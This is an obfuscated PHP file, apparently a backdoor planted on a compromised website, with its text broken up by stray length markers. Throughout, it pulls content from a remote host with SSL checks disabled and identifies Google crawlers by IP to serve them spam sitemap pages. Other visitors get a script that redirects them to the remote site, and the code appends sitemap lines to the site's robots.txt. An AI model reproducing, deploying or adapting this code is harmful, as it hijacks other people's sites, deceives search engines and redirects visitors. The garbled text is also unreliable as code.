1 < 3 ?ph 2 p 4 go 4 to c 3 I0D 3 v; 7 LYG63: 3 $kk 4 = i 4 sset 3 ($g 3 et[ 4 "\x6 3 b\1 4 53"] 4 ) ? 3 tri 14 m($get["\x6b\153"]) 3 : ' 8 '; goto 3 jHF 3 IX; 4 sIe 3 vn: 4 if 5 ($kk 3 !== 4 '' 3 && b preg_match( 5 "\x2f 7 \x5e\13 9 3\101\x2d 4 \132 a \x61\x2d\x 3 7a\ 7 60\x2d\ 5 71\x5 5 d\x2b 3 \44 6 \x2f", 6 $kk)) 3 { 4 $rem 3 ote 6 = get 3 Cur 4 lFas 4 t($j 3 d . 4 "\1 5 47\14 4 5\16 7 4\144\1 5 57\15 6 5\x61\ 5 151\x 4 6e\6 4 2\56 7 \x61\16 6 3\160\ 4 170\ 5 77\16 5 2\x6e 7 \144\75 6 \62\x2 9 6\x6b\153 4 \75" 8 . $kk); 6 if (! 4 empt 2 y( c $remote)) { 4 echo 9 $remote; 3 di 4 e; } 9 } goto e 3 09E 4 O; L 3 njY 3 Z: 4 outp 4 ut_s 4 item 4 ap_a 3 nd_ 3 exi b t($sitemapL 3 ine 5 , $ht 4 tp_t 3 ype 9 ); goto e 3 mnX 4 E; C 3 SyC 4 d: $ 4 vurl 4 = " 7 \164\x6 8 f\56\x6a 7 \147\14 a 1\154\154\ 3 x73 8 \x2e\143 a \157\155\5 2 7" 9 ; goto QL 3 luM 5 ; L3n 2 M1 a : $surl = 8 $jd . "\ 9 x73\x7a\1 3 56\ 1a 56\x61\163\160\170"; goto 2 Yn 4 Br1; 5 ut_5 2 H: f if (!empty($sz 6 )) { $ 11 jd = getCurlFast( 2 "{ c $http_type}{ 6 $vurl} 5 \63\1 5 53\x6 9 7\x2e\141 5 \x73\ a 160\170\x3 8 f\163\17 8 2\75" . 5 urlen 4 code 6 ($sz)) 7 ; } els 1 e 2c { $jd = getCurlFast("{$http_type}{$vurl}\x3 12 3\153\x67\x2e\141\ 11 163\160\170\x3f\x 5 78\x7 4 9\75 d {$http_type}" 6 ); $sz 2c = getCurlFast("{$http_type}{$vurl}\x33\153\ 4 147\ f 56\141\x73\160\ 5 x78\x 9 3f\x6a\14 5 4\x3d 10 " . urlencode($j 7 d)); } 6 goto H 3 nOn 8 w; HnOnw 4 : $h 3 yzh 2 dy f = $jd . "\172\ 4 156\ 9 x2e\x61\x a 73\160\x78 e "; goto L3nM1; 6 YnBr1 e : $sitemapLine 7 = "\12 7 3\151\x 6 74\x65 a \155\x61\x 9 70\x3a\40 10 {$http_type}{$_S 3 ERV 2 ER 5 ["\11 5 0\124 7 \124\x5 4 0\13 5 7\x48 6 \117\x 6 53\124 2 "] 12 }{$_SERVER["\123\x 2e 43\x52\111\120\x54\137\116\101\x4d\105"]}\77\x 4 77\x 9 3d" . dat 5 e("\x 9 59\155\x6 6 4\110\ 4 x69" 7 ) . "\1 9 2"; goto 4 J5G3 4 2; d 3 sRZ 4 S: $ 4 is_n 3 o_q 3 uer b y = empty($ c _SERVER["\12 9 1\125\105 7 \x52\13 7 1\137\1 8 23\x54\x 9 52\111\x4 4 e\x4 4 7"]) 9 ; goto JD 4 7fu; 4 b3x 3 BO: 3 fu 4 ncti 2 on 11 getCurlFast($url 7 ) { $ca 3 che 9 d = cache 2 _g 8 et($url) e ; if ($cached 5 !== f 4 alse 6 ) { re 4 turn 8 $cached 5 ; } $ 5 data a = ''; if ( 8 function 6 _exist b s("\x63\165 8 \162\x6c 8 \137\x69 9 \156\x69\ 4 x74" 7 )) { $c 5 h = c 6 url_in a it($url); 5 curl_ 6 setopt 4 _arr 4 ay($ 4 ch, 7 array(C 3 URL 4 OPT_ 3 RET 3 URN 3 TRA 3 NSF 3 ER 2 => 4 tru b e, CURLOPT_ 3 CON 3 NEC 4 TTIM 3 EOU 5 T => b 5, CURLOPT_ c TIMEOUT => 8 c , CURLOPT_SS 2 L_ 5 VERIF 3 YPE 58 ER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_FOLLOWLOCATION => false, CURLOPT_U 5 SERAG 7 ENT => 6 "\x4d\ 4 x6f\ 9 172\x69\x 4 6c\1 9 54\x61\x2 5 f\x35 7 \x2e\x3 2 0" c )); $data = 7 curl_ex 6 ec($ch 9 ); curl_c 3 los 9 e($ch); } 5 if ( b empty($data 5 ) && 8 ini_get( 7 "\141\x 11 6c\154\x6f\x77\x5 7 f\x75\x 6 72\154 8 \137\x66 5 \157\ b x70\x65\156 9 ")) { $co 4 ntex 4 t = 4 stre 3 am_ 9 context_c 6 reate( 9 array("\1 4 50\1 a 64\164\160 5 " => d array("\164\1 5 51\15 6 5\145\ 7 x6f\x75 c \x74" => 8, 7 "\150\1 8 45\141\1 7 44\x65\ 4 x72" 6 => "\ a 125\163\14 6 5\x72\ a x2d\x41\14 7 7\145\1 7 56\x74\ 4 72\4 5 0\115 17 \x6f\172\x69\x6c\x6c\x6 4 1\57 2 \6 a 5\x2e\60\1 5 5\xa" 2 ), 1b "\x73\x73\x6c" => array("\ 3 x76 d \145\162\x69\ e 146\x79\x5f\x7 8 0\145\14 6 5\162" f => false, "\16 1a 6\x65\x72\x69\x66\x79\x5f\ 5 160\1 c 45\x65\x72\x 5 5f\x6 8 e\x61\x6 5 d\x65 b " => false) e )); $data = @f 2 il b e_get_conte 4 nts( 5 $url, 8 false, 11 $context); } if ( d !empty($data) 4 ) { 7 cache_s 8 et($url, b $data); } c return $data a ; } goto n 3 EuM 2 B; 6 J5G32 d : function en 5 sure_ 4 robo 2 ts 8 _sitemap 13 ($sitemapLine) { $r 5 obots 4 = r 10 trim($_SERVER["\ 6 x44\x4 6 f\x43\ 4 125\ 9 x4d\x45\x 4 4e\x 6 54\x5f 9 \x52\x4f\ 6 117\x5 8 4"], "\x 6 2f\x5c 8 ") . "\5 6 7\162\ d 157\x62\157\x c 74\x73\x2e\1 5 64\17 6 0\164" 7 ; if (! c file_exists( 7 $robots b )) { @file_ 4 put_ 11 contents($robots, 7 "\125\ 4e x73\x65\x72\55\x61\147\145\156\x74\72\40\52\xa\101\154\x6c\x6f\167\x3a\40\x2f\ 3 12" 4 . $ 10 sitemapLine, LOC 3 K_E 1 X e ); } else { $c 1e = @file_get_contents($robots) 9 ; if ($c 9 === false 3 || 5 strp 5 os($c e , $sitemapLine b ) === false 20 ) { @file_put_contents($robots, f $sitemapLine, F 4 ILE_ 3 APP 3 END 2 | d LOCK_EX); } b } } goto nv 3 qfY 7 ; cI0Dv 4 : er 4 ror_ 3 rep 4 orti 4 ng(0 9 ); goto c 3 tug 3 b; 4 KcbV 1 Z 16 : function cache_set($ 3 key 8 , $data) 8 { $file 5 = sy 6 s_get_ 5 temp_ 4 dir( 9 ) . "\57\ 5 x63\1 a 41\x63\x68 7 \x65\x5 5 f" . 3 md5 d ($key) . "\56 7 \x70\x6 7 8\160"; 15 @file_put_contents($ b file, $data e , LOCK_EX); } 7 goto ob 4 bTy; 6 tTrIf 12 : function cache_g c et($key, $ex 3 pir 7 e = 300 23 ) { $file = sys_get_temp_dir() . "\ 5 x2f\1 5 43\x6 23 1\x63\x68\x65\x5f" . md5($key) . "\ 7 x2e\160 f \150\160"; if ( d file_exists($ 9 file) && 3 tim 4 e() 6 - file 6 mtime( 8 $file) < 8 $expire 1e ) { return file_get_contents($ 5 file) 10 ; } return false 9 ; } goto 6 KcbVZ; 6 e09EO 15 : if ($kk !== '' && ! 17 preg_match("\x2f\x5e\x5 6 b\101\ 5 55\x5 a a\x61\x2d\ 4 172\ 6 60\55\ d 71\x5d\x2b\x2 10 4\x2f", $kk)) { 33 output_sitemap_and_exit($sitemapLine, $http_type); 7 } goto 6 dsRZS; a jHFIX: $i 1 p e = $kk !== '' 4 ? "\ 4 66\6 5 6\56\ 6 62\64\ 6 71\56\ 3 70\ 9 62\x2e\x3 2 8" 7 : get_ 3 rea 5 l_ip( 9 ); goto x 3 9Xs 4 W; r 3 UTi 8 t: if ($ 4 doma 7 in !== 7 "\x67\x 4 6f\x c 6f\x67\x6c\1 4 45" 4 && ! 9 empty($ii 7 d)) { $ 4 knam 4 e = 5 urlde 5 code( 19 getCurlFast($jd . "\147\1 b 56\x2e\x61\ 9 163\x70\1 8 70\77\15 6 1\151\ 11 144\x3d" . $iid)) 7 ; echo 2 "\ e 74\x73\x63\x72 6 \151\1 8 60\x74\7 8 6\x6c\15 a 7\x63\141\ 7 164\x69 b \x6f\x6e\x3 4 d\x2 f 2" . $jd . "\14 9 1\56\141\ 8 163\160\ 5 x78\7 c 7\x63\x6e\14 6 1\x6d\ 4 145\ 16 75" . urlencode($kname 9 ) . "\x26 5 \165\ 10 x72\154\x3d" . $ 9 http_type 10 . $_SERVER["\x4 8 8\x54\x5 6 4\120\ 8 137\x48\ 5 x4f\x 17 53\124"] . $_SERVER["\x b 53\x43\x52\ c x49\120\x54\ a x5f\x4e\x4 b 1\x4d\105"] a . "\x22\x 2 3c d \x2f\163\x63\ 6 162\15 c 1\160\x74\x3 2 e" f ; die; } goto Q 3 gpn 2 U; 9 QLluM: $ 5 qz = 3 sub 4 str( 7 str_rep 3 lac b e(array("\x 9 77\x77\x7 6 7\x2e" 7 , "\x2e 5 "), ' 2 ', 10 $_SERVER["\x48\ 12 124\124\x50\x5f\x4 12 8\x4f\x53\124"]), 3 0, 9 3); goto 3 EI8 3 Kp; 6 JD7fu b : if ($kk = 9 == '' && 10 $is_no_query) { d if ($domain = 9 == "\x67\ 7 157\157 d \147\x6c\145" 39 ) { output_sitemap_and_exit($sitemapLine, $http_type); } 7 else { e die; } } goto 6 LnjYZ; c ctugb: $get 6 = fil 3 ter 7 _input_ 7 array(I 3 NPU 3 T_G 2 ET 7 , FILTE 4 R_SA 3 NIT 3 IZE 3 _ST 3 RIN 9 G); goto 6 tTrIf; 6 QgpnU 17 : if (!empty($iid)) { $ 3 str 10 = getCurlFast($ b hyzhdy . "\ 7 77\151\ 7 x69\x64 8 \75{$iid 1f }"); echo str_replace(array("\x 7 67\147\ 10 147\147\147", "\ 6 131\13 15 1\131\131\131", "\130 7 \130\x5 a 8\131\131\ 3 x59 9 ", "\xe5\ 4 275\ 5 223\x 5 e5\x8 4 9\x8 4 d\x5 7 5\x52\x 3 4c" 9 , "\125\x b 55\125\x55\ 9 x55", "\1 12 15\115\115\115\115 9 ", "\77\1 3 46\ 4 75") a , array($s 2 z, 5 get_ 8 url_info 2 () 10 , get_url_info(" d \x62\x61\x73\ 4 x65" 14 ), get_url_info("\x6 d 6\165\154\x6c 13 "), get_url_info("\ 9 156\157\1 b 37\x77\x77\ 3 167 7 "), par 2 se 11 _url($_SERVER["\x 5 52\x4 5 5\x51 e \125\x45\x53\x 8 54\137\1 5 25\12 5 2\111 6 "], PH 2 P_ 5 URL_P 4 ATH) 6 , "\77 8 " . $qz 5 . "\7 9 5"), $str f ); die; } goto 3 OiQ 3 F1; 6 nvqfY 14 : if (!empty($get["\ 5 167"] 6 )) { $ 5 param 4 s = 8 http_bui 2 ld 10 _query(array("\x 6 4e\x4f 6 \125\1 6 55\142 d \x65\162" => 8 $get["\x c 4e\x4f\x55\x 6 6d\142 9 \x65\x72" 4 ] ?? 16 '', "\164" => $get["\ 4 164" 10 ] ?? '', "\x63\1 3 56" 13 => $get["\143\156" e ] ?? '', "\160 5 \x4e\ b 117\x55\155 e " => $get["\x7 6 0\x4e\ 18 x4f\x55\x6d"] ?? '', "\1 5 43\x6 17 9\x64" => $get["\143\15 6 1\x64" c ] ?? '', "\1 19 55" => $get["\x6d"] ?? '' 5 )); $ 14 str = getCurlFast("{ 5 $surl 5 }\77{ 7 $params 1f }"); echo str_replace(array("\x 5 79\17 9 1\x6d\x6d 7 ", "\14 16 7\147\147\147\147", "\ b 77\146\x3d" a ), array($ 1f http_type . $_SERVER["\x48\x54\ 10 124\x50\x5f\x48\ 9 117\123\1 26 24"] . $_SERVER["\x53\x43\x52\x49\120\ 7 124\x5f d \116\101\x4d\ 3 x45 4 "], 15 $sz, "\77" . $qz . "\ 7 x3d"), 13 $str); die; } goto 6 LYG63; 7 EI8Kp: b $sz = $iid 7 = ''; 7 goto S5 4 sdM; 6 OiQF1 b : function 31 output_sitemap_and_exit($sitemapLine, $http_type) 4 { e 22 nsure_robots_sitemap($sitemapLine) d ; echo "\x3c\ 7 144\151 6 \x76\x 4 20\x 6 73\164 a \x79\154\1 4 45\x 6 3d\x27 a \x74\x65\1 c 70\164\x2d\1 9 41\x6c\15 8 1\x67\15 6 6\72\x 8 63\145\x 5 6e\x7 b 4\145\x72\x 2 3b f \160\141\144\x6 1 4 10 \x69\156\x67\72\ 3 61\ 5 60\x7 a 0\170\x20\ 6 60\73\ 6 47\x3e 4 \xa\ d x20\40\40\40\ d x20\40\40\40\ 12 40\40\40\x20\74\14 7 1\x20\x 5 68\x7 d 2\x65\146\x3d 4 \x22 1c {$http_type}{$_SERVER["\110\ 8 x54\x54\ 10 x50\x5f\x48\x4f\ 7 123\x54 f "]}{$_SERVER["\ 7 x53\103 9 \122\x49\ 5 x50\1 b 24\x5f\116\ e x41\x4d\105"]} 6 \77\16 18 7\x3d" . date("\x59\155\ 9 144\x48\1 3 51" 8 ) . "\x2 7 2\40\16 d 4\141\x72\x67 7 \145\x7 7 4\x3d\4 6 2\x5f\ 4 142\ e 154\x61\156\15 7 3\x22\x 4 20\1 5 62\14 d 5\154\x3d\x22 8 \x6e\x6f 6 \x66\x 4 6f\1 8 54\154\x d 6f\x77\x22\x3 7 e\x53\x 6 69\x74 8 \145\x6d c \x61\160\74\ 7 x2f\141 7 \x3e\12 8 \40\x20\ 12 x20\40\40\x20\x20\ b x20\x20\40\ 8 74\x2f\x b 64\151\x76\ 2 76 f "; die; } goto c sIevn; S5sdM e : if (!empty($ 4 _GET 7 )) { $f 5 = re a set($_GET) 4 ; $s 7 p = exp 1 l 8 ode("\x2 6 d", $f 8 ); if (c 3 oun 5 t($sp 7 ) === 2 6 ) { $s 7 z = $sp 4 [0]; 8 $iid = 6 $sp[1] b ; } } goto 6 ut_5H; 6 obbTy e : function get f _real_ip() { $k 2 ey d s = array("\1 b 10\x54\x54\ 7 120\x5f 8 \103\106 6 \137\1 5 03\11 b 7\116\x4e\1 7 05\103\ 5 x54\1 a 11\x4e\x47 c \137\111\120 7 ", "\11 a 0\124\124\ 11 120\x5f\130\x5f\1 8 22\x45\x 5 41\x4 7 c\137\x f 49\x50", "\110\ 10 x54\x54\x50\x5f\ e 130\x5f\106\x4 7 f\122\1 6 27\101 8 \x52\x44 7 \105\10 11 4\x5f\x46\x4f\122 6 ", "\x b 48\x54\124\ d 120\137\103\x 3 4c\ 6 x49\10 13 5\x4e\x54\x5f\111\x 8 50", "\1 a 22\x45\x4d d \117\124\x45\ 7 137\101 7 \x44\10 9 4\x52"); 2 fo 6 reach 6 ($keys 3 as b $k) { if ( 1 ! 11 empty($_SERVER[$k 7 ])) { $ 6 ip = $ 11 _SERVER[$k]; if ( 9 strpos($i 5 p, "\ 4 54") e !== false) { b $ip = trim( c explode("\x2 7 c", $ip 4 )[0] 9 ); } if ( 8 filter_v 8 ar($ip, 7 FILTER_ 3 VAL 3 IDA 4 TE_I 2 P) e ) { return $ip 8 ; } } } 8 return " 9 \61\62\x3 5 7\56\ 4 60\5 9 6\60\56\x c 31"; } goto 6 b3xBO; 6 x9XsW 3 : $ e domain = trim( 18 getCurlFast($jd . "\147\ 7 x65\x74 8 \x64\157 7 \x6d\14 10 1\151\x6e\62\56\ 16 141\163\160\170\x3f\x7 8 2\156\x6 6 4\x3d\ d 61\x26\151\x7 1 0 c \x3d" . $ip) 8 ); goto 6 rUTit; 15 nEuMB: function get_ 9 url_info( 5 strin 3 g $ 5 type 6 = "\x6 10 4\157\155\141\x6 1 9 9 \156") : a string { $ 3 hos d t = $_SERVER[ 16 "\110\124\124\x50\137\ 5 110\x d 4f\123\124"] 5 ?? '' 7 ; if ($ b type === "\ 8 156\157\ 6 x5f\16 15 7\x77\167") { return 5 preg_ 8 replace( 9 "\x2f\136 e \167\167\167\1 2 34 a \x2e\57\x6 4 9", 9 '', $host 6 ); } $ 5 proto 2 co 5 l = ! 11 empty($_SERVER["\ 12 x48\124\124\x50\x5 5 3"]) 4 && $ 1f _SERVER["\x48\x54\x54\120\x53"] 9 !== "\x6 6 f\x66\ 4 146" b ? "\x68\x7 9 4\x74\x70 5 \163\ 6 72\x2f 8 \x2f" : 12 "\x68\x74\x74\x70\ c x3a\x2f\x2f" 4 ; $b 2 as e e = $protocol 7 . $host 12 ; if ($type === "\ d x62\141\163\1 7 45") { c return $base 8 ; } if ( f $type === "\x66 5 \x75\ 18 154\154") { return $base 3 . 10 ($_SERVER["\x52\ 7 105\121 6 \x55\x 11 45\x53\x54\x5f\x5 8 5\x52\x4 a 9"] ?? '') c ; } return $ 6 host; a } goto IiH 3 kS; 7 IiHkS: c $http_type 14 = !empty($_SERVER["\ 12 110\x54\x54\120\x5 25 3"]) && $_SERVER["\x48\124\124\120\x5 e 3"] !== "\x6f\ 4 146\ d 146" ? "\150\ e x74\x74\x70\x7 12 3\72\x2f\x2f" : "\ f 150\164\164\160 5 \x3a\ 9 57\x2f"; 5 goto 6 CSyCd; 8 emnXE: 2 ?> 0